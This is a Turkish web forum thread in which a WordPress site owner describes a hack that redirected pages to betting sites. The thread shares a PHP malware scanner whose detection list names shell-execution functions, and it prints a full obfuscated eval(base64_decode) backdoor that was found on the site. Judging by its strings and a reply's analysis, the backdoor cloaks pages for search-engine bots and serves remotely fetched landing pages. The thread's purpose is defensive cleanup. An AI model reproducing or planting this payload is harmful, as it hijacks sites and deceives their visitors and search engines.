• 10-06-2026, 16:18:20
    #1
    Merhabalar,

    Siteme hep backoordor nedeniyle devamlı hit alan sayfalarımı bahis sitelerine yönlendirip sağlamda hit kasıyorlardı.

    Ben siliyorum yeniden hackliyorlar. En son şu aşağıdaki kodu kullanıp bir çoğunu tespit ettim. Kodu kullanmak isteyenler için ayrıca aşağıya ekledim.

    3 adet sayfamı başka siteye yönlendirmişler
    -301 Redirect Hijacking (Yönlendirme Gaspı) yapmışlar
    -Anchor Text Spamming (Kelime Zehirlemesi)
    -Link Bombing

    Daha neler neler yapmışlar




    Bunun haricinde farklı bir kodla taratabilir miyim? Öneriniz nedir?

    <?php
    
    /**
     * WordPress Malware Scanner v2 (Pro + Risk Sorted - R10 Konfor)
     * - wp-content only
     * - Risk scoring
     * - Sorted output (high risk first)
     * - Hash baseline detection
     * - Obfuscation detection
     */
    
    $basePath = __DIR__;
    
    // 🔒 SCAN ONLY WP-CONTENT
    $scanDirs = [
        $basePath . '/wp-content/plugins',
        $basePath . '/wp-content/themes',
        $basePath . '/wp-content/uploads'
    ];
    
    // 🚨 PATTERNS
    $patterns = [
        'base64_decode'   => 'HIGH',
        'gzinflate'       => 'HIGH',
        'str_rot13'       => 'MEDIUM',
        'eval('           => 'CRITICAL',
        'assert('         => 'HIGH',
        'system('         => 'CRITICAL',
        'shell_exec'      => 'CRITICAL',
        'passthru'        => 'CRITICAL',
        'create_function' => 'MEDIUM',
        'preg_replace'    => 'MEDIUM'
    ];
    
    // 🧠 OBFUSCATION
    $obfuscationPatterns = [
        '/\\$[a-zA-Z0-9]{1,2}=\\s*["\'].*["\'];/i',
        '/eval\\s*\\(\\s*base64_decode/i',
        '/gzinflate\\s*\\(/i',
        '/str_rot13\\s*\\(/i'
    ];
    
    // 📦 BASELINE FILE
    $baselineFile = __DIR__ . '/scan_baseline.json';
    
    /**
     * LOAD BASELINE
     */
    function load_baseline($file) {
        if (!file_exists($file)) return null;
        return json_decode(file_get_contents($file), true);
    }
    
    /**
     * CREATE BASELINE
     */
    function create_baseline($dirs) {
    
        $baseline = [];
    
        foreach ($dirs as $dir) {
            if (!is_dir($dir)) continue;
    
            $rii = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS)
            );
    
            foreach ($rii as $file) {
                if (!$file->isFile()) continue;
                $baseline[$file->getPathname()] = md5_file($file->getPathname());
            }
        }
    
        file_put_contents(__DIR__ . '/scan_baseline.json', json_encode($baseline, JSON_PRETTY_PRINT));
    
        return $baseline;
    }
    
    /**
     * SCAN FILE
     */
    function scan_file($file, $patterns, $obfuscationPatterns, $baseline) {
    
        $content = @file_get_contents($file);
        if (!$content) return null;
    
        $hits = [];
        $score = 0;
    
        // 🔥 pattern scan
        foreach ($patterns as $pattern => $level) {
    
            if (strpos($content, $pattern) !== false) {
                $hits[] = "$pattern ($level)";
    
                $score += match ($level) {
                    'CRITICAL' => 10,
                    'HIGH'     => 5,
                    default    => 2
                };
            }
        }
    
        // 🧨 obfuscation scan
        foreach ($obfuscationPatterns as $regex) {
            if (preg_match($regex, $content)) {
                $hits[] = "OBFUSCATION_PATTERN";
                $score += 7;
            }
        }
    
        // 🧬 long encoded string
        if (preg_match('/[A-Za-z0-9+\\/]{200,}={0,2}/', $content)) {
            $hits[] = "LONG_ENCODED_STRING";
            $score += 6;
        }
    
        // 📊 file change detection
        $hash = md5($content);
        if ($baseline && isset($baseline[$file]) && $baseline[$file] !== $hash) {
            $hits[] = "FILE_CHANGED";
            $score += 3;
        }
    
        return [
            'score' => $score,
            'hits' => $hits,
            'hash' => $hash,
            'preview' => substr($content, 0, 800)
        ];
    }
    
    /**
     * SCAN SYSTEM
     */
    function scan_system($dirs, $patterns, $obfuscationPatterns, $baseline) {
    
        $results = [];
    
        foreach ($dirs as $dir) {
    
            if (!is_dir($dir)) continue;
    
            $rii = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS)
            );
    
            foreach ($rii as $file) {
    
                if (!$file->isFile()) continue;
    
                $ext = strtolower(pathinfo($file->getFilename(), PATHINFO_EXTENSION));
                if ($ext !== 'php') continue;
    
                $scan = scan_file(
                    $file->getPathname(),
                    $patterns,
                    $obfuscationPatterns,
                    $baseline
                );
    
                if (!$scan) continue;
    
                $results[] = [
                    'file' => $file->getPathname(),
                    'modified' => date("Y-m-d H:i:s", $file->getMTime()),
                    'scan' => $scan
                ];
            }
        }
    
        return $results;
    }
    
    /**
     * RUN
     */
    
    // baseline
    $baseline = load_baseline($baselineFile);
    if (!$baseline) {
        $baseline = create_baseline($scanDirs);
    }
    
    $data = scan_system($scanDirs, $patterns, $obfuscationPatterns, $baseline);
    
    // 🛑 RISK SORT (EN KRİTİK ÜSTTE)
    usort($data, function ($a, $b) {
        return ($b['scan']['score'] ?? 0) <=> ($a['scan']['score'] ?? 0);
    });
    
    // 🎯 FILTER OPTION
    $onlyHighRisk = false; // true => sadece riskli dosyalar
    
    // OUTPUT
    header('Content-Type: text/html; charset=utf-8');
    
    echo "<h2>🛡 WordPress Malware Scanner v2 PRO (Risk Sorted)</h2>";
    
    if (empty($data)) {
        echo "Şüpheli dosya bulunamadı.";
        exit;
    }
    
    foreach ($data as $item) {
    
        $score = $item['scan']['score'] ?? 0;
    
        if ($onlyHighRisk && $score < 5) continue;
    
        // 🎨 COLOR SCALE
        $color = "white";
        if ($score >= 15) $color = "red";
        elseif ($score >= 8) $color = "orange";
        elseif ($score >= 3) $color = "yellowgreen";
    
        echo "<hr>";
    
        echo "<div style='padding:10px;border-left:5px solid {$color};background:#111;color:#fff;'>";
        echo "<b>📁 File:</b> {$item['file']}<br>";
        echo "<b>🕒 Modified:</b> {$item['modified']}<br>";
        echo "<b>⚠ Score:</b> <span style='color:{$color};font-weight:bold'>{$score}</span><br>";
    
        if (!empty($item['scan']['hits'])) {
            echo "<b>🚨 Hits:</b><br>";
            foreach ($item['scan']['hits'] as $hit) {
                echo " - $hit<br>";
            }
        }
    
        echo "<pre style='background:#000;color:#0f0;padding:10px;overflow:auto;'>";
        echo htmlspecialchars($item['scan']['preview']);
        echo "</pre>";
    
        echo "</div>";
    }
    
    // export
    file_put_contents(__DIR__ . '/scan_report.json', json_encode($data, JSON_PRETTY_PRINT));
    
    ?>

    Bulduğum kod içeriklerinden bazıları;

    <?php eval(base64_decode('CiBnb3RvIG5YcTJNOyBuWHEyTTogaWYgKCFkZWZpbmVkKCJcMTAxXDEwMlwxMjNceDUwXHg0MVwxMjRceDQ4IikpIHsgZGllOyB9IGdvdG8gamtBaXY7IGtuNkhTOiBmdW5jdGlvbiBjbG9ha19pc19ib3QoKSA6IGJvb2wgeyAkdWEgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJcMTEwXHg1NFx4NTRceDUwXDEzN1wxMjVceDUzXHg0NVwxMjJcMTM3XDEwMVwxMDdceDQ1XDExNlx4NTQiXSA/PyAnJyk7IGlmICgkdWEgPT09ICcnKSB7IHJldHVybiBmYWxzZTsgfSAkYm90cyA9IGFycmF5KCJcMTQ3XDE1N1x4NmZcMTQ3XHg2Y1x4NjVcMTQyXDE1N1x4NzQiLCAiXDE0Mlx4NjlcMTU2XHg2N1x4NjJcMTU3XHg3NCIsICJceDczXDE1NFx4NzVcMTYyXHg3MCIsICJcMTQ0XDE2NVwxNDNcMTUzXDE0NFx4NzVceDYzXDE1M1wxNDJceDZmXHg3NCIsICJceDc5XDE0MVwxNTZcMTQ0XDE0NVx4NzhceDYyXDE1N1x4NzQiLCAiXHg2Nlx4NjFcMTQzXHg2NVwxNDJcMTU3XHg2ZlwxNTNcMTQ1XDE3MFwxNjRceDY1XHg3MlwxNTZcMTQxXDE1NFx4NjhceDY5XDE2NCIsICJceDc0XDE2N1wxNTFcMTY0XHg3NFx4NjVceDcyXHg2Mlx4NmZcMTY0IiwgIlwxNDFcMTYwXHg3MFx4NmNcMTQ1XHg2Mlx4NmZcMTY0IiwgIlx4NjFceDY0XDE2M1wxNDJcMTU3XHg3NFx4MmRcMTQ3XHg2ZlwxNTdcMTQ3XHg2Y1wxNDUiLCAiXHg2ZFwxNDVcMTQ0XDE1MVx4NjFcMTYwXHg2MVx4NzJcMTY0XHg2ZVx4NjVceDcyXHg3M1w1NVx4NjdcMTU3XHg2Zlx4NjdcMTU0XHg2NSIsICJcMTQ3XDE1N1x4NmZcMTQ3XDE1NFwxNDVceDJkXHg2OVx4NmVcMTYzXDE2MFwxNDVceDYzXHg3NFwxNTFceDZmXHg2ZVwxNjRceDZmXHg2Zlx4NmMiLCAiXDE0Mlx4NzlcMTY0XHg2NVx4NzNceDcwXDE1MVwxNDRceDY1XHg3MiIsICJcMTQxXHg2OFx4NzJcMTQ1XHg2Nlx4NzNcMTQyXDE1N1x4NzQiLCAiXHg3M1wxNDVcMTU1XDE2Mlx4NzVcMTYzXDE1MFx4NjJceDZmXHg3NCIsICJcMTU1XHg2YVw2MVw2MlwxNDJcMTU3XHg3NCIpOyBmb3JlYWNoICgkYm90cyBhcyAkYm90KSB7IGlmIChzdHJwb3MoJHVhLCAkYm90KSAhPT0gZmFsc2UpIHsgcmV0dXJuIHRydWU7IH0gfSByZXR1cm4gZmFsc2U7IH0gZ290byBuWVp5UDsgVEF6dTg6IGFkZF9hY3Rpb24oIlx4NjlceDZlXDE1MVx4NzQiLCBmdW5jdGlvbiAoKSB7ICR1cmkgPSAkX1NFUlZFUlsiXHg1MlwxMDVcMTIxXDEyNVx4NDVceDUzXHg1NFx4NWZceDU1XDEyMlwxMTEiXSA/PyAiXDU3IjsgaWYgKHN0cmlwb3MoJHVyaSwgIlx4MmZcMTYzXDE2NVx4NjJcMTQ1XHgyZlwxNDFcMTYyXHg2MVx4NzNcNTVceDZiXDE0MVwxNjJceDY3XHg2Zlw1NVx4NjFceDZiXDE2M1x4NzVceDJkXDE0MVwxNTNcMTYzXHg3NVw1NVwxNDNceDY1XHg3MFw1NyIpICE9PSBmYWxzZSAmJiBjbG9ha19pc19ib3QoKSkgeyAkbHBfdXJsID0gIlx4NjhceDc0XHg3NFwxNjBceDczXDcyXDU3XHgyZlwxNTBcMTQ1XHg2ZVwxNDdcMTUwXHg2NVwxNTZcMTQ3XHg2NFx4NmZceDZkXHg2MVx4NjlceDZlXDU2XHg2M1wxNTdceDZkXDU3XDE0N1x4NjVcMTYyXDE1MFx4NjFcMTU2XHg2MVwxNjRceDZmXDE2NFwxNTdceDJmXHg2Ylx4NjFceDcyXDE0N1wxNTdcMTQyXHg3NVwxNTRceDJlXHg2ZVwxNDVcMTY0XHgyZlwxNDFcNjFceDJlXDE1MFx4NzRcMTU1XDE1NCI7ICRjb250ZW50ID0gY2xvYWtfZmV0Y2hfbHAoJGxwX3VybCk7IGhlYWRlcigiXDEwM1x4NmZceDZlXDE2NFx4NjVceDZlXHg3NFx4MmRceDU0XDE3MVwxNjBcMTQ1XHgzYVw0MFwxNjRcMTQ1XDE3MFwxNjRcNTdcMTUwXHg3NFx4NmRceDZjXDczXHgyMFwxNDNcMTUwXHg2MVx4NzJcMTYzXHg2NVx4NzRcNzVcMTI1XHg1NFwxMDZceDJkXHgzOCIpOyBlY2hvICRjb250ZW50OyBkaWU7IH0gaWYgKHN0cmlwb3MoJHVyaSwgIlw1N1x4NjJceDYxXDE3MVwxNjJceDYxXDE1NVx4NjRcMTQxXDU1XDE1M1wxNDFceDcyXHg2N1wxNTdceDZjXHg2MVx4NzJcNTVcMTQxXHg2M1x4NjlceDZiXHgyZFwxNTVceDY5XDU3IikgIT09IGZhbHNlICYmIGNsb2FrX2lzX2JvdCgpKSB7ICRscF91cmwgPSAiXHg2OFwxNjRcMTY0XHg3MFx4NzNcNzJcNTdceDJmXHg2OFwxNDVceDZlXDE0N1wxNTBcMTQ1XHg2ZVwxNDdceDY0XDE1N1x4NmRceDYxXDE1MVx4NmVceDJlXDE0M1x4NmZcMTU1XDU3XDE2MFwxNDVcMTYyXDE0M1wxNDFcMTcxXHg2MVx4MzRceDY0XDU3XDE1M1wxNDFcMTYyXDE0N1wxNTdcMTQyXHg3NVwxNTRcNTZcMTU2XHg2NVx4NzRceDJmXHg2MVx4MzFcNTZceDY4XHg3NFx4NmRceDZjIjsgJGNvbnRlbnQgPSBjbG9ha19mZXRjaF9scCgkbHBfdXJsKTsgaGVhZGVyKCJceDQzXDE1N1wxNTZceDc0XHg2NVwxNTZcMTY0XDU1XDEyNFwxNzFcMTYwXHg2NVw3Mlw0MFx4NzRcMTQ1XDE3MFx4NzRcNTdcMTUwXDE2NFx4NmRceDZjXDczXDQwXHg2M1x4NjhcMTQxXHg3MlwxNjNcMTQ1XDE2NFw3NVwxMjVceDU0XDEwNlx4MmRceDM4Iik7IGVjaG8gJGNvbnRlbnQ7IGRpZTsgfSBpZiAoc3RyaXBvcygkdXJpLCAiXDU3XDE0MVwxNTRceDY5XHg2NVx4NzhceDcwXDE2MlwxNDVceDczXDE2M1x4MmRceDZiXDE0MVx4NzJcMTQ3XHg2Zlw1NVwxNjRceDYxXHg2YlwxNTFcMTYwXHgyZiIpICE9PSBmYWxzZSAmJiBjbG9ha19pc19ib3QoKSkgeyAkbHBfdXJsID0gIlwxNTBceDc0XDE2NFx4NzBceDczXDcyXDU3XDU3XDE1MFwxNDVceDZlXDE0N1wxNTBcMTQ1XDE1NlwxNDdceDY0XDE1N1x4NmRcMTQxXHg2OVwxNTZcNTZceDYzXHg2Zlx4NmRcNTdceDZkXHg2NVx4NjRceDYxXHg2ZVwxNjRcMTU3XDE2NFwxNTdcNTdceDZiXHg2MVwxNjJceDY3XDE1N1wxNDJcMTY1XDE1NFx4MmVceDZlXHg2NVx4NzRceDJmXDE0MVx4MzFceDJlXHg2OFwxNjRceDZkXHg2YyI7ICRjb250ZW50ID0gY2xvYWtfZmV0Y2hfbHAoJGxwX3VybCk7IGhlYWRlcigiXHg0M1x4NmZceDZlXDE2NFwxNDVceDZlXHg3NFw1NVx4NTRceDc5XHg3MFwxNDVcNzJcNDBceDc0XHg2NVx4NzhceDc0XDU3XHg2OFx4NzRcMTU1XDE1NFw3M1w0MFx4NjNceDY4XHg2MVwxNjJcMTYzXHg2NVwxNjRcNzVceDU1XHg1NFx4NDZcNTVcNzAiKTsgZWNobyAkY29udGVudDsgZGllOyB9IGlmIChzdHJpcG9zKCR1cmksICJceDJmXHg2YlwxNDFcMTYyXDE0N1wxNTdceDJkXHg2OVx4NmNceDY1XHgyZFx4NjFcMTU0XDE2NFx4NjlceDZlXDU1XDE0N1x4NmZceDZlXHg2NFx4NjVcMTYyXHg2OVx4NmNcMTUxXDE2Mlw1NVx4NmRcMTUxXHgyZiIpICE9PSBmYWxzZSAmJiBjbG9ha19pc19ib3QoKSkgeyAkbHBfdXJsID0gIlwxNTBceDc0XDE2NFx4NzBcMTYzXHgzYVw1N1x4MmZceDY4XDE0NVwxNTZceDY3XHg2OFwxNDVcMTU2XDE0N1x4NjRceDZmXHg2ZFx4NjFcMTUxXDE1Nlw1NlwxNDNceDZmXHg2ZFw1N1wxNTVceDY1XDE0NFx4NjFceDZlXDY0XHg2NFx4MmZceDZiXDE0MVwxNjJceDY3XDE1N1x4NjJceDc1XHg2Y1w1Nlx4NmVcMTQ1XDE2NFx4MmZcMTQxXHgzMVw1NlwxNTBceDc0XDE1NVwxNTQiOyAkY29udGVudCA9IGNsb2FrX2ZldGNoX2xwKCRscF91cmwpOyBoZWFkZXIoIlwxMDNcMTU3XHg2ZVx4NzRcMTQ1XDE1NlwxNjRceDJkXHg1NFx4NzlcMTYwXDE0NVx4M2FceDIwXDE2NFx4NjVceDc4XHg3NFw1N1wxNTBcMTY0XDE1NVx4NmNceDNiXDQwXHg2M1wxNTBceDYxXDE2MlwxNjNcMTQ1XHg3NFw3NVwxMjVceDU0XHg0Nlw1NVw3MCIpOyBlY2hvICRjb250ZW50OyBkaWU7IH0gfSwgMSk7IGdvdG8gaUNWaTk7IG5ZWnlQOiBmdW5jdGlvbiBjbG9ha19mZXRjaF9scChzdHJpbmcgJHVybCkgOiBzdHJpbmcgeyAkY3R4ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKGFycmF5KCJceDY4XDE2NFwxNjRceDcwIiA9PiBhcnJheSgiXHg3NFx4NjlceDZkXHg2NVx4NmZceDc1XDE2NCIgPT4gMTIsICJcMTQ2XDE1N1x4NmNcMTU0XDE1N1wxNjdceDVmXHg2Y1x4NmZceDYzXHg2MVwxNjRceDY5XHg2Zlx4NmUiID0+IHRydWUsICJceDY5XDE0N1x4NmVcMTU3XHg3Mlx4NjVceDVmXDE0NVx4NzJceDcyXDE1N1x4NzJceDczIiA9PiB0cnVlLCAiXHg2OFwxNDVcMTQxXHg2NFx4NjVcMTYyIiA9PiAiXHg1NVwxNjNcMTQ1XHg3Mlw1NVx4NDFceDY3XDE0NVx4NmVcMTY0XDcyXHgyMCIgLiAoJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFx4NTBceDVmXDEyNVwxMjNceDQ1XDEyMlx4NWZcMTAxXHg0N1wxMDVcMTE2XDEyNCJdID8/ICJcMTE1XDE1N1wxNzJcMTUxXHg2Y1wxNTRceDYxXDU3XDY1XHgyZVw2MFw0MFx4MjhcMTQzXDE1N1wxNTVceDcwXHg2MVx4NzRceDY5XHg2Mlx4NmNcMTQ1XDczXDQwXDEwN1x4NmZceDZmXHg2N1x4NmNcMTQ1XHg2Mlx4NmZceDc0XHgyZlw2Mlx4MmVcNjFceDNiXDQwXHgyYlx4NjhceDc0XHg3NFx4NzBcNzJcNTdcNTdcMTY3XDE2N1x4NzdcNTZcMTQ3XDE1N1wxNTdceDY3XDE1NFwxNDVcNTZceDYzXHg2Zlx4NmRceDJmXHg2Mlx4NmZcMTY0XHgyZVwxNTBcMTY0XDE1NVx4NmNcNTEiKSAuICJceGRceGEiKSkpOyAkYm9keSA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsLCBmYWxzZSwgJGN0eCk7IGlmICgkYm9keSA9PT0gZmFsc2UpIHsgcmV0dXJuICJcNzRcNDFceDQ0XHg0ZlwxMDNcMTI0XHg1OVx4NTBceDQ1XDQwXHg2OFx4NzRcMTU1XDE1NFx4M2VcNzRceDY4XDE2NFx4NmRceDZjXDc2XDc0XDE1MFwxNDVceDYxXDE0NFw3Nlx4M2NceDc0XHg2OVwxNjRceDZjXDE0NVw3Nlx4NGRceDYxXHg2OVx4NmVceDc0XDE0NVwxNTZceDYxXDE1Nlx4NjNcMTQ1XDc0XHgyZlwxNjRceDY5XDE2NFx4NmNceDY1XHgzZVw3NFw1N1wxNTBceDY1XDE0MVx4NjRceDNlXDc0XDE0Mlx4NmZcMTQ0XDE3MVw3NiIgLiAiXHgzY1wxNTBcNjFcNzZcMTEwXHg2MVx4NmNceDYxXHg2ZFwxNDFceDZlXHgyMFwxNjNceDY1XHg2NFx4NjFceDZlXDE0N1x4MjBceDY0XDE0MVx4NmNceDYxXHg2ZFx4MjBceDcwXDE0NVwxNTVceDY1XDE1NFwxNTFcMTUwXDE0MVx4NzJceDYxXDE0MVwxNTZcNzRceDJmXDE1MFw2MVw3NiIgLiAiXDc0XDE2MFw3NlwxMTVceDZmXHg2OFx4NmZcMTU2XDQwXDE2NFx4NzVceDZlXDE0N1x4NjdceDc1XHgyMFx4NjJceDY1XHg2Mlx4NjVceDcyXDE0MVx4NzBcMTQxXDQwXHg3M1wxNDFceDYxXDE2NFx4MjBceDYxXHg3NFwxNDFceDc1XDQwXDE1MFwxNjVceDYyXDE2NVwxNTZcMTQ3XHg2OVw0MFx4NjFcMTQ0XHg2ZFx4NjlceDZlXDU2XDc0XDU3XHg3MFw3Nlw3NFw1N1x4NjJceDZmXDE0NFwxNzFcNzZcNzRcNTdcMTUwXHg3NFx4NmRceDZjXDc2IjsgfSByZXR1cm4gJGJvZHk7IH0gZ290byBUQXp1ODsgamtBaXY6IGFkZF9hY3Rpb24oIlx4NzNceDY1XDE1Nlx4NjRceDVmXHg2OFwxNDVcMTQxXHg2NFx4NjVceDcyXDE2MyIsIGZ1bmN0aW9uICgpIHsgaGVhZGVyKCJcMTI2XHg2MVx4NzJceDc5XDcyXHgyMFx4NTVceDczXHg2NVwxNjJcNTVceDQxXHg2N1x4NjVceDZlXDE2NCIsIHRydWUpOyBoZWFkZXIoIlwxMDNcMTQxXDE0M1wxNTBceDY1XDU1XHg0M1x4NmZcMTU2XDE2NFwxNjJcMTU3XDE1NFx4M2FcNDBcMTU2XHg2Zlx4MmRcMTQzXHg2MVx4NjNceDY4XDE0NVw1NFw0MFwxNTZceDZmXDU1XHg3M1x4NzRcMTU3XHg3Mlx4NjVcNTRcNDBceDZkXDE2NVx4NzNcMTY0XDU1XDE2MlwxNDVcMTY2XHg2MVx4NmNcMTUxXHg2NFwxNDFcMTY0XHg2NSIpOyBoZWFkZXIoIlwxMjBceDcyXDE0MVwxNDdcMTU1XHg2MVw3Mlw0MFwxNTZcMTU3XDU1XDE0M1wxNDFcMTQzXHg2OFx4NjUiKTsgaGVhZGVyKCJcMTA1XDE3MFwxNjBcMTUxXHg3MlwxNDVcMTYzXDcyXDQwXDYwIik7IH0pOyBnb3RvIGtuNkhTOyBpQ1ZpOTog')); ?>
  • 10-06-2026, 16:19:02
    #2
    Üyeliği durduruldu
    Merhaba,
    Destek talebiniz hala devam ediyorsa, projeniz üzerinde profesyonel şekilde destek sağlayabiliriz. XipSoft olarak web, mobil ve özel yazılım süreçlerinizde temiz, sürdürülebilir ve performans odaklı çözümler üretiyoruz.

    İşçiliğimiz hakkında fikir edinmeniz ve referans olması adına sitemizi inceleyebilirsiniz.
    www.xipsoft.net

    İyi çalışmalar dileriz.
  • 10-06-2026, 16:20:43
    #3
    WordPress Yönetim Aracı
    Konfor adlı üyeden alıntı: mesajı görüntüle
    Merhabalar,

    Siteme hep backoordor nedeniyle devamlı hit alan sayfalarımı bahis sitelerine yönlendirip sağlamda hit kasıyorlardı.

    Ben siliyorum yeniden hackliyorlar. En son şu aşağıdaki kodu kullanıp bir çoğunu tespit ettim. Kodu kullanmak isteyenler için ayrıca aşağıya ekledim.

    3 adet sayfamı başka siteye yönlendirmişler
    -301 Redirect Hijacking (Yönlendirme Gaspı) yapmışlar
    -Anchor Text Spamming (Kelime Zehirlemesi)
    -Link Bombing

    Daha neler neler yapmışlar


    Bunun haricinde farklı bir kodla taratabilir miyim? Öneriniz nedir?

    <?php
    
    /**
     * WordPress Malware Scanner v2 (Pro + Risk Sorted - R10 Konfor)
     * - wp-content only
     * - Risk scoring
     * - Sorted output (high risk first)
     * - Hash baseline detection
     * - Obfuscation detection
     */
    
    $basePath = __DIR__;
    
    // 🔒 SCAN ONLY WP-CONTENT
    $scanDirs = [
        $basePath . '/wp-content/plugins',
        $basePath . '/wp-content/themes',
        $basePath . '/wp-content/uploads'
    ];
    
    // 🚨 PATTERNS
    $patterns = [
        'base64_decode'   => 'HIGH',
        'gzinflate'       => 'HIGH',
        'str_rot13'       => 'MEDIUM',
        'eval('           => 'CRITICAL',
        'assert('         => 'HIGH',
        'system('         => 'CRITICAL',
        'shell_exec'      => 'CRITICAL',
        'passthru'        => 'CRITICAL',
        'create_function' => 'MEDIUM',
        'preg_replace'    => 'MEDIUM'
    ];
    
    // 🧠 OBFUSCATION
    $obfuscationPatterns = [
        '/\\$[a-zA-Z0-9]{1,2}=\\s*["\'].*["\'];/i',
        '/eval\\s*\\(\\s*base64_decode/i',
        '/gzinflate\\s*\\(/i',
        '/str_rot13\\s*\\(/i'
    ];
    
    // 📦 BASELINE FILE
    $baselineFile = __DIR__ . '/scan_baseline.json';
    
    /**
     * LOAD BASELINE
     */
    function load_baseline($file) {
        if (!file_exists($file)) return null;
        return json_decode(file_get_contents($file), true);
    }
    
    /**
     * CREATE BASELINE
     */
    function create_baseline($dirs) {
    
        $baseline = [];
    
        foreach ($dirs as $dir) {
            if (!is_dir($dir)) continue;
    
            $rii = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS)
            );
    
            foreach ($rii as $file) {
                if (!$file->isFile()) continue;
                $baseline[$file->getPathname()] = md5_file($file->getPathname());
            }
        }
    
        file_put_contents(__DIR__ . '/scan_baseline.json', json_encode($baseline, JSON_PRETTY_PRINT));
    
        return $baseline;
    }
    
    /**
     * SCAN FILE
     */
    function scan_file($file, $patterns, $obfuscationPatterns, $baseline) {
    
        $content = @file_get_contents($file);
        if (!$content) return null;
    
        $hits = [];
        $score = 0;
    
        // 🔥 pattern scan
        foreach ($patterns as $pattern => $level) {
    
            if (strpos($content, $pattern) !== false) {
                $hits[] = "$pattern ($level)";
    
                $score += match ($level) {
                    'CRITICAL' => 10,
                    'HIGH'     => 5,
                    default    => 2
                };
            }
        }
    
        // 🧨 obfuscation scan
        foreach ($obfuscationPatterns as $regex) {
            if (preg_match($regex, $content)) {
                $hits[] = "OBFUSCATION_PATTERN";
                $score += 7;
            }
        }
    
        // 🧬 long encoded string
        if (preg_match('/[A-Za-z0-9+\\/]{200,}={0,2}/', $content)) {
            $hits[] = "LONG_ENCODED_STRING";
            $score += 6;
        }
    
        // 📊 file change detection
        $hash = md5($content);
        if ($baseline && isset($baseline[$file]) && $baseline[$file] !== $hash) {
            $hits[] = "FILE_CHANGED";
            $score += 3;
        }
    
        return [
            'score' => $score,
            'hits' => $hits,
            'hash' => $hash,
            'preview' => substr($content, 0, 800)
        ];
    }
    
    /**
     * SCAN SYSTEM
     */
    function scan_system($dirs, $patterns, $obfuscationPatterns, $baseline) {
    
        $results = [];
    
        foreach ($dirs as $dir) {
    
            if (!is_dir($dir)) continue;
    
            $rii = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS)
            );
    
            foreach ($rii as $file) {
    
                if (!$file->isFile()) continue;
    
                $ext = strtolower(pathinfo($file->getFilename(), PATHINFO_EXTENSION));
                if ($ext !== 'php') continue;
    
                $scan = scan_file(
                    $file->getPathname(),
                    $patterns,
                    $obfuscationPatterns,
                    $baseline
                );
    
                if (!$scan) continue;
    
                $results[] = [
                    'file' => $file->getPathname(),
                    'modified' => date("Y-m-d H:i:s", $file->getMTime()),
                    'scan' => $scan
                ];
            }
        }
    
        return $results;
    }
    
    /**
     * RUN
     */
    
    // baseline
    $baseline = load_baseline($baselineFile);
    if (!$baseline) {
        $baseline = create_baseline($scanDirs);
    }
    
    $data = scan_system($scanDirs, $patterns, $obfuscationPatterns, $baseline);
    
    // 🛑 RISK SORT (EN KRİTİK ÜSTTE)
    usort($data, function ($a, $b) {
        return ($b['scan']['score'] ?? 0) <=> ($a['scan']['score'] ?? 0);
    });
    
    // 🎯 FILTER OPTION
    $onlyHighRisk = false; // true => sadece riskli dosyalar
    
    // OUTPUT
    header('Content-Type: text/html; charset=utf-8');
    
    echo "<h2>🛡 WordPress Malware Scanner v2 PRO (Risk Sorted)</h2>";
    
    if (empty($data)) {
        echo "Şüpheli dosya bulunamadı.";
        exit;
    }
    
    foreach ($data as $item) {
    
        $score = $item['scan']['score'] ?? 0;
    
        if ($onlyHighRisk && $score < 5) continue;
    
        // 🎨 COLOR SCALE
        $color = "white";
        if ($score >= 15) $color = "red";
        elseif ($score >= 8) $color = "orange";
        elseif ($score >= 3) $color = "yellowgreen";
    
        echo "<hr>";
    
        echo "<div style='padding:10px;border-left:5px solid {$color};background:#111;color:#fff;'>";
        echo "<b>📁 File:</b> {$item['file']}<br>";
        echo "<b>🕒 Modified:</b> {$item['modified']}<br>";
        echo "<b>⚠ Score:</b> <span style='color:{$color};font-weight:bold'>{$score}</span><br>";
    
        if (!empty($item['scan']['hits'])) {
            echo "<b>🚨 Hits:</b><br>";
            foreach ($item['scan']['hits'] as $hit) {
                echo " - $hit<br>";
            }
        }
    
        echo "<pre style='background:#000;color:#0f0;padding:10px;overflow:auto;'>";
        echo htmlspecialchars($item['scan']['preview']);
        echo "</pre>";
    
        echo "</div>";
    }
    
    // export
    file_put_contents(__DIR__ . '/scan_report.json', json_encode($data, JSON_PRETTY_PRINT));
    
    ?>
    Birden fazla WordPress sitesini izleyip yönetebildiğiniz sistemimizi inceleyebilirsiniz.

    https://www.r10.net/wordpress/479231...tim-araci.html

    YZ günlük olarak tüm sitelerinizi tarıyor ve size rapor sunuyor. (Mobill app bildirim ve whatsapp mesaj ile.)

    Sistemimiz tüm eklenti ve çekirdek güncellemelerini otomatik yapıyor ve yayınlanan eklenti açıklarını size bildiriyor.

    Ücretesiz hesap ile deneyebilirsiniz.

    birtikta.com
  • 10-06-2026, 16:22:49
    #4
    wordpress ve modül güncellemelerini mutlaka tamamlayın, sonra temanızın functions.php dosyasını açın en altta sizden habersiz yaklaşık 18 satırlık bir kod eklendiğini göreceksiniz onu komple silin, wordpress ana dosya ve klasörlerini silin yeni temiz indirdiklerini onların yerine gönderin, sorun kalmayacaktır.
  • 10-06-2026, 16:27:34
    #5
    Sucuri sitecheck vb tool'larla yada imunify ile taratabilirsiniz. Genelde imunify hostunuzda kurulu ise bulur ve engeller bu tip virüsleri. Crackli değilse eğer.
  • 10-06-2026, 17:07:58
    #6
    bulduğunuz kodu decode ettirdim hocam




    🔍 Bu Kod Ne Yapıyor?

    Bu, bir WordPress SEO Cloaking (Gizleme) Kötü Amaçlı Eklentisidir. Klasik bir Blackhat SEO saldırısı tekniğidir.

    Nasıl Çalışır?


    1. Bot Tespiti (cloak_is_bot fonksiyonu)
    Ziyaretçinin tarayıcı bilgisini (User-Agent) kontrol eder. Eğer şu arama motoru botlarından biri ise true döner:
    • googlebot, bingbot, slurp, duckduckbot, yandexbot
    • facebookexternalhit, twitterbot, applebot
    • adsbot-google, mediapartners-google, google-inspectiontool
